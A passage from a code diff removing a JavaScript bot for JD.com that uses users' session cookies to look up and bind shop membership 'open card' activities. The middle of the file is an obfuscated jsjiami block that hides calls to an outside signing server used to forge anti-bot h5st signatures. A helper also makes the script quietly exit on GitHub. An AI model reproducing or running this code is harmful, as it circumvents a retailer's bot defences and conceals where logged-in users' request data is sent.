"activityId": $.openCardActivityId, "channel": 401 }, venderId) - } else { - console.log("没毛") - } - -} - -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -var _0xody='jsjiami.com.v6',_0xody_=['‮_0xody'],_0x21a9=[_0xody,'aWR3QUY=','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','eWpWR24=','R1lTekU=','RnBnbFU=','ckNRRlI=','dGVnams=','SEtwaGs=','Uk1lSlI=','YmluZFdpdGhWZW5kZXI=','R2NZTmI=','WVZXTEI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','RXZDZ3A=','Y1d0SG8=','UG9HQUc=','Tm5IbFA=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','b0h3eG8=','RW9wa0U=','SHRZTEM=','VG9GcUo=','Q0dpUU4=','Z25HdlY=','YkxJR1k=','ZE53QUg=','Zml1TkM=','bVBlWUY=','Vkh2clA=','SGdsakE=','WEpKS0Y=','WUlOT1A=','UW50aFI=','YXRUZ1M=','d0trQmI=','cmVz','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','RE5lQ2U=','YlZHTVM=','aWRkcmY=','WGFSU04=','cEFpSWQ=','dXlwV0Y=','Q2lEZUQ=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','eG0xMzU3OTA4NjQy','amRzaWduLmNm','aU15YmY=','RklyRUw=','YXBwbGljYXRpb24vanNvbg==','ZlJBYnc=','ekp1ZWM=','dndCUVY=','Z1VORm8=','TGdMZ3I=','VURLVEU=','cVRVaGk=','RW9uR2k=','Y2ZDanY=','ZXJFaEY=','Y2R6cVk=','QWJla08=','ZW52','U0lHTl9VUkw=','TFlCcHI=','cXpKWmk=','YkZxc04=','SUZlZXY=','Zmxvb3I=','QWl4c00=','cmFuZG9t','bGVuZ3Ro','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','ZG94dG4=','cG9zdA==','TnNsc2U=','YWdaVXo=','dVVDSWI=','T2pqS0g=','c0x4clU=','ZURCSUo=','YXBwbHk=','clNJTFU=','bG9nRXJy','VVdLRXk=','UVB2S2o=','YXBpLm0uamQuY29t','Ki8q','a2VlcC1hbGl2ZQ==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','Yk1peHU=','c3RyaW5naWZ5','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','UXhtRWM=','a0t6REo=','UEhpcmM=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','VVVJRA==','O25ldHdvcmsvd2lmaTtBRElELw==','QURJRA==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','bnlhdlM=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','UVFzb04=','YWN0aXZpdHlVcmw=','dlRqbWk=','Z2V0','bG9n','cGFyc2U=','c3VjY2Vzcw==','VmFRT0g=','QXNwRVg=','jQZVsehLjiamtlthyix.xucogm.v6=='];if(function(_0x3c1472,_0x46353a,_0x546569){function _0x40d53a(_0x5d40ab,_0x3b1837,_0x424808,_0x31456e,_0x2d1442,_0x1c074c){_0x3b1837=_0x3b1837>>0x8,_0x2d1442='po';var _0x1aadc3='shift',_0xdca26f='push',_0x1c074c='‮';if(_0x3b1837<_0x5d40ab){while(--_0x5d40ab){_0x31456e=_0x3c1472[_0x1aadc3]();if(_0x3b1837===_0x5d40ab&&_0x1c074c==='‮'&&_0x1c074c['length']===0x1){_0x3b1837=_0x31456e,_0x424808=_0x3c1472[_0x2d1442+'p']();}else if(_0x3b1837&&_0x424808['replace'](/[QZVehLtlthyxxug=]/g,'')===_0x3b1837){_0x3c1472[_0xdca26f](_0x31456e);}}_0x3c1472[_0xdca26f](_0x3c1472[_0x1aadc3]());}return 0xf6e04;};return _0x40d53a(++_0x46353a,_0x546569)>>_0x46353a^_0x546569;}(_0x21a9,0x14f,0x14f00),_0x21a9){_0xody_=_0x21a9['length']^0x14f;};function _0x4256(_0x37ce85,_0x3afc5e){_0x37ce85=~~'0x'['concat'](_0x37ce85['slice'](0x1));var _0x41651c=_0x21a9[_0x37ce85];if(_0x4256['MKuUae']===undefined&&'‮'['length']===0x1){(function(){var _0x3c74ed=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x5f3c49='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3c74ed['atob']||(_0x3c74ed['atob']=function(_0x50a810){var _0x476d85=String(_0x50a810)['replace'](/=+$/,'');for(var _0x495c45=0x0,_0x49704b,_0x20cf64,_0x5333fa=0x0,_0x2e98f0='';_0x20cf64=_0x476d85['charAt'](_0x5333fa++);~_0x20cf64&&(_0x49704b=_0x495c45%0x4?_0x49704b*0x40+_0x20cf64:_0x20cf64,_0x495c45++%0x4)?_0x2e98f0+=String['fromCharCode'](0xff&_0x49704b>>(-0x2*_0x495c45&0x6)):0x0){_0x20cf64=_0x5f3c49['indexOf'](_0x20cf64);}return _0x2e98f0;});}());_0x4256['eLELzE']=function(_0x3a6667){var _0x1c7184=atob(_0x3a6667);var _0x5ad343=[];for(var _0x5e8459=0x0,_0x5919a8=_0x1c7184['length'];_0x5e8459<_0x5919a8;_0x5e8459++){_0x5ad343+='%'+('00'+_0x1c7184['charCodeAt'](_0x5e8459)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5ad343);};_0x4256['iRyKaC']={};_0x4256['MKuUae']=!![];}var _0x282412=_0x4256['iRyKaC'][_0x37ce85];if(_0x282412===undefined){_0x41651c=_0x4256['eLELzE'](_0x41651c);_0x4256['iRyKaC'][_0x37ce85]=_0x41651c;}else{_0x41651c=_0x282412;}return _0x41651c;};function getShopOpenCardInfo(_0x3df9c7,_0x4fc845){var _0xf2478f={'VaQOH':function(_0x4ef1cc,_0x2c9e33){return _0x4ef1cc===_0x2c9e33;},'AspEX':_0x4256('‫0'),'idwAF':_0x4256('‮1'),'yjVGn':function(_0x1e0109){return _0x1e0109();},'bMixu':function(_0x392d38,_0x12cb32){return _0x392d38(_0x12cb32);},'QxmEc':_0x4256('‮2'),'kKzDJ':_0x4256('‮3'),'PHirc':_0x4256('‮4'),'nyavS':_0x4256('‫5'),'QQsoN':function(_0x128da5,_0x26f259){return _0x128da5(_0x26f259);},'vTjmi':_0x4256('‮6')};let _0x6d40f6={'url':_0x4256('‮7')+_0xf2478f[_0x4256('‫8')](encodeURIComponent,JSON[_0x4256('‫9')](_0x3df9c7))+_0x4256('‮a'),'headers':{'Host':_0xf2478f[_0x4256('‮b')],'Accept':_0xf2478f[_0x4256('‮c')],'Connection':_0xf2478f[_0x4256('‮d')],'Cookie':cookie,'User-Agent':_0x4256('‮e')+$[_0x4256('‮f')]+_0x4256('‫10')+$[_0x4256('‫11')]+_0x4256('‮12'),'Accept-Language':_0xf2478f[_0x4256('‫13')],'Referer':_0x4256('‫14')+_0x4fc845+_0x4256('‮15')+_0xf2478f[_0x4256('‫16')](encodeURIComponent,$[_0x4256('‮17')]),'Accept-Encoding':_0xf2478f[_0x4256('‮18')]}};return new Promise(_0x12e7b1=>{$[_0x4256('‮19')](_0x6d40f6,(_0x1659fe,_0x43d45e,_0x1c81e1)=>{try{if(_0x1659fe){console[_0x4256('‫1a')](_0x1659fe);}else{res=JSON[_0x4256('‮1b')](_0x1c81e1);if(res[_0x4256('‮1c')]){if(_0xf2478f[_0x4256('‫1d')](_0xf2478f[_0x4256('‫1e')],_0xf2478f[_0x4256('‫1f')])){console[_0x4256('‫1a')](_0x1659fe);}else{if(res[_0x4256('‫20')][_0x4256('‫21')]){$[_0x4256('‮22')]=res[_0x4256('‫20')][_0x4256('‫21')][0x0][_0x4256('‫23')][_0x4256('‫24')];}}}}}catch(_0x496f91){console[_0x4256('‫1a')](_0x496f91);}finally{_0xf2478f[_0x4256('‫25')](_0x12e7b1);}});});}async function bindWithVender(_0x2c96fa,_0xab699c){var _0x23d2c7={'HtYLC':function(_0x371e42,_0x50fb75){return _0x371e42!==_0x50fb75;},'ToFqJ':_0x4256('‮26'),'CGiQN':_0x4256('‮27'),'gnGvV':_0x4256('‮28'),'bLIGY':_0x4256('‮29'),'dNwAH':function(_0x32fa43,_0x59c034){return _0x32fa43===_0x59c034;},'fiuNC':_0x4256('‫2a'),'mPeYF':_0x4256('‫2b'),'VHvrP':function(_0x3e57a3){return _0x3e57a3();},'GcYNb':function(_0x4252a7,_0x1cba3b,_0x224847){return _0x4252a7(_0x1cba3b,_0x224847);},'YVWLB':_0x4256('‫2c'),'EvCgp':_0x4256('‮2'),'cWtHo':_0x4256('‮3'),'PoGAG':_0x4256('‮4'),'NnHlP':_0x4256('‫5'),'oHwxo':function(_0xac78fa,_0x5f421d){return _0xac78fa(_0x5f421d);},'EopkE':_0x4256('‮6')};return h5st=await _0x23d2c7[_0x4256('‫2d')](geth5st,_0x23d2c7[_0x4256('‮2e')],_0x2c96fa),opt={'url':_0x4256('‮2f')+h5st,'headers':{'Host':_0x23d2c7[_0x4256('‮30')],'Accept':_0x23d2c7[_0x4256('‮31')],'Connection':_0x23d2c7[_0x4256('‫32')],'Cookie':cookie,'User-Agent':_0x4256('‮e')+$[_0x4256('‮f')]+_0x4256('‫10')+$[_0x4256('‫11')]+_0x4256('‮12'),'Accept-Language':_0x23d2c7[_0x4256('‫33')],'Referer':_0x4256('‫14')+_0xab699c+_0x4256('‫34')+_0x23d2c7[_0x4256('‮35')](encodeURIComponent,$[_0x4256('‮17')]),'Accept-Encoding':_0x23d2c7[_0x4256('‮36')]}},new Promise(_0x2ccbf6=>{var _0x5f13ea={'HgljA':function(_0x23895a,_0x34fd84){return _0x23d2c7[_0x4256('‫37')](_0x23895a,_0x34fd84);},'XJJKF':_0x23d2c7[_0x4256('‮38')],'YINOP':_0x23d2c7[_0x4256('‮39')],'QnthR':function(_0xa5dab0,_0xe47757){return _0x23d2c7[_0x4256('‫37')](_0xa5dab0,_0xe47757);},'atTgS':_0x23d2c7[_0x4256('‮3a')],'wKkBb':_0x23d2c7[_0x4256('‫3b')],'DNeCe':function(_0x1e1eef,_0x173f3a){return _0x23d2c7[_0x4256('‮3c')](_0x1e1eef,_0x173f3a);},'bVGMS':_0x23d2c7[_0x4256('‮3d')],'iddrf':_0x23d2c7[_0x4256('‮3e')],'XaRSN':function(_0x299f58){return _0x23d2c7[_0x4256('‮3f')](_0x299f58);}};$[_0x4256('‮19')](opt,(_0x160cca,_0x58082c,_0x285199)=>{try{if(_0x5f13ea[_0x4256('‫40')](_0x5f13ea[_0x4256('‫41')],_0x5f13ea[_0x4256('‮42')])){if(_0x160cca){console[_0x4256('‫1a')](_0x160cca);}else{if(_0x5f13ea[_0x4256('‮43')](_0x5f13ea[_0x4256('‮44')],_0x5f13ea[_0x4256('‮45')])){res=JSON[_0x4256('‮1b')](_0x285199);$[_0x4256('‮46')]=res;if(res[_0x4256('‮1c')]){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}}else{res=JSON[_0x4256('‮1b')](_0x285199);$[_0x4256('‮46')]=res;if(res[_0x4256('‮1c')]){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}}}}else{if(res[_0x4256('‫20')][_0x4256('‫21')]){$[_0x4256('‮22')]=res[_0x4256('‫20')][_0x4256('‫21')][0x0][_0x4256('‫23')][_0x4256('‫24')];}}}catch(_0xcd2b24){if(_0x5f13ea[_0x4256('‫49')](_0x5f13ea[_0x4256('‫4a')],_0x5f13ea[_0x4256('‫4b')])){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}else{console[_0x4256('‫1a')](_0xcd2b24);}}finally{_0x5f13ea[_0x4256('‫4c')](_0x2ccbf6);}});});}function geth5st(_0x5156f4,_0x1f2f35){var _0x5dafa2={'fRAbw':function(_0x1b8ec1,_0x52f782){return _0x1b8ec1(_0x52f782);},'zJuec':function(_0x28cb88){return _0x28cb88();},'vwBQV':function(_0x21d883,_0x11ae17){return _0x21d883===_0x11ae17;},'gUNFo':_0x4256('‮4d'),'LgLgr':_0x4256('‫4e'),'UDKTE':function(_0x56a740,_0xbb8ea3){return _0x56a740===_0xbb8ea3;},'qTUhi':_0x4256('‫4f'),'EonGi':_0x4256('‮50'),'cfCjv':_0x4256('‮51'),'erEhF':_0x4256('‮52'),'cdzqY':_0x4256('‫53'),'AbekO':_0x4256('‮54'),'LYBpr':function(_0x3a5480,_0x2fac2b){return _0x3a5480===_0x2fac2b;},'qzJZi':_0x4256('‫55'),'bFqsN':_0x4256('‮56'),'AixsM':function(_0x2e5715,_0x38e4ee){return _0x2e5715*_0x38e4ee;},'doxtn':_0x4256('‮57')};return new Promise(async _0x4ffd06=>{var _0x1abb9e={'IFeev':function(_0x3d8588,_0xd1f4b9){return _0x5dafa2[_0x4256('‮58')](_0x3d8588,_0xd1f4b9);},'Nslse':function(_0x57fb1a){return _0x5dafa2[_0x4256('‮59')](_0x57fb1a);},'agZUz':function(_0x4c58ed,_0x3a8675){return _0x5dafa2[_0x4256('‫5a')](_0x4c58ed,_0x3a8675);},'uUCIb':_0x5dafa2[_0x4256('‮5b')],'OjjKH':_0x5dafa2[_0x4256('‮5c')],'sLxrU':function(_0x328089,_0x2dbd54){return _0x5dafa2[_0x4256('‮5d')](_0x328089,_0x2dbd54);},'eDBIJ':_0x5dafa2[_0x4256('‫5e')]};let _0x54316b={'appId':_0x5dafa2[_0x4256('‫5f')],'body':{'appid':_0x5dafa2[_0x4256('‮60')],'functionId':_0x5156f4,'body':JSON[_0x4256('‫9')](_0x1f2f35),'clientVersion':_0x5dafa2[_0x4256('‫61')],'client':'H5','activityId':_0x5dafa2[_0x4256('‮62')]},'callbackAll':!![]};let _0x4137b8='';let _0x43a862=[_0x5dafa2[_0x4256('‮63')]];if(process[_0x4256('‮64')][_0x4256('‫65')]){_0x4137b8=process[_0x4256('‮64')][_0x4256('‫65')];}else{if(_0x5dafa2[_0x4256('‮66')](_0x5dafa2[_0x4256('‮67')],_0x5dafa2[_0x4256('‮68')])){_0x1abb9e[_0x4256('‫69')](_0x4ffd06,_0x54316b);}else{_0x4137b8=_0x43a862[Math[_0x4256('‫6a')](_0x5dafa2[_0x4256('‮6b')](Math[_0x4256('‫6c')](),_0x43a862[_0x4256('‫6d')]))];}}let _0x476228={'url':_0x4256('‮6e'),'body':JSON[_0x4256('‫9')](_0x54316b),'headers':{'Host':_0x4137b8,'Content-Type':_0x5dafa2[_0x4256('‮6f')]},'timeout':_0x5dafa2[_0x4256('‮6b')](0x1e,0x3e8)};$[_0x4256('‫70')](_0x476228,async(_0x4d4e22,_0x10528c,_0x54316b)=>{var _0x491948={'rSILU':function(_0x5e4dc6){return _0x1abb9e[_0x4256('‮71')](_0x5e4dc6);}};try{if(_0x1abb9e[_0x4256('‫72')](_0x1abb9e[_0x4256('‮73')],_0x1abb9e[_0x4256('‮74')])){console[_0x4256('‫1a')](error);}else{if(_0x4d4e22){if(_0x1abb9e[_0x4256('‮75')](_0x1abb9e[_0x4256('‫76')],_0x1abb9e[_0x4256('‫76')])){_0x54316b=await geth5st[_0x4256('‮77')](this,arguments);}else{_0x491948[_0x4256('‫78')](_0x4ffd06);}}else{}}}catch(_0x256571){$[_0x4256('‫79')](_0x256571,_0x10528c);}finally{_0x1abb9e[_0x4256('‫69')](_0x4ffd06,_0x54316b);}});});};_0xody='jsjiami.com.v6'; -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, 